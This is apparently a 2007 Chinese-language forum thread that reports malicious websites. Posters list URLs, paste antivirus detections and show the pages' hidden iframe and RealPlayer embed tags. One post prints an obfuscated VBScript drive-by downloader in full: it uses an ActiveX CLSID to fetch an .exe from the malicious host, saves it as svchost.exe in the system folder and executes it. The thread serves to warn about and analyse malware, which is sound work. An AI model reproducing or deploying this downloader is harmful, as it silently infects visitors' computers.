PDA

【木馬】2007-09-08 惡意連結幾個



贊助商連結

天氣預報
2007-09-08, 10:42 PM
2007-09-08 惡意連結幾個
www.duowna.com/ief/url.asp
www.avvcc.com/index.htm
www.lliinnss.com/ot/c22.htm

贊助商連結

proll
2007-09-09, 03:31 PM
http://www.duowna.com/ief/,,/cn.exe

[Found possible virus] <W32/new-malware!Maximus> \cn[1]\cn[1].exehttp://www.avvcc.com/20,,a.exe

[Found possible virus] < (not disinfectable)> svchost.exe->(PecBundle)->(PECompact)第三隻

<e&&mbed type="audio/x-pn-realaudio-plugin"
src="l3.smi"
controls="controlpanel,statusbar" height=0
width=0 autostart=true hidden>:fd:
Roger
2007-09-12, 10:30 PM
http://www.avvcc.com/index.htm的結構

<iframe src="614.htm" width="0" height="0" frameborder="0"></iframe>

http://www.avvcc.com/614.htm的結構

<script>document.write(unescape('<html>
<script language="VBScript">
    on error resume next
    maface="Mic"&"ro"&"so"&"ft.X"&"M"&"LHT"&"TP"
    tttatat="S"&"cr"&"ip"&"tin"&"g."&"Fi"&"le"&"Sy"&"st"&"em"&"Ob"&"j"&"e"&"ct"
    kav="o"&"bje"&"ct"
    ufoad123="A"&"do"&"db"&".St"&"rea"&"m"
    Set df = document.createElement(kav)
    regedit="c"&"ls"&"id:BD"&"9"&"6C5"&"56-6"&"5A3"&"-1"&"1D"&"0-"&"98"&"3"&"A-0"&"0"&"C04F"&"C2"&"9E36"
    diter="c"&"l"&"a"&"s"&"s"&"i"&"d"
    df.setAttribute diter, regedit
    Set x = df.CreateObject(maface,"")
    set SS = df.createobject(ufoad123,"")
    SS.type = 1
    x.Open "GET", "http://www.avvcc.com/20070418a.exe ", False
    x.Send
    marco1="svchost.exe"
    set F = df.createobject(tttatat,"")
    tmp2=2
    set tmp = F.GetSpecialFolder(tmp2)
    SS.open
    marco1= F.BuildPath(tmp,marco1)
    SS.write x.responseBody
    SS.savetofile marco1,2
    SS.close
    qwe324a="S"&"he"&"l"&"l."&"Appl"&"i"&"ca"&"ti"&"on"
    set Q = df.createobject(qwe324a,"")
    asdwr="op"&"e"&"n"
    Q.ShellExecute marco1,"","",asdwr,0
    </script>
    </html>'))</script>

http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ1.png
http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ2.png
http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ3.png
http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ4.png
http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ5.png
http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ6.png

http://www.lliinnss.com/ot/c22.htm的結構

<embed type="audio/x-pn-realaudio-plugin"
src="l3.smi"
c height=0
width=0 autostart=true hidden>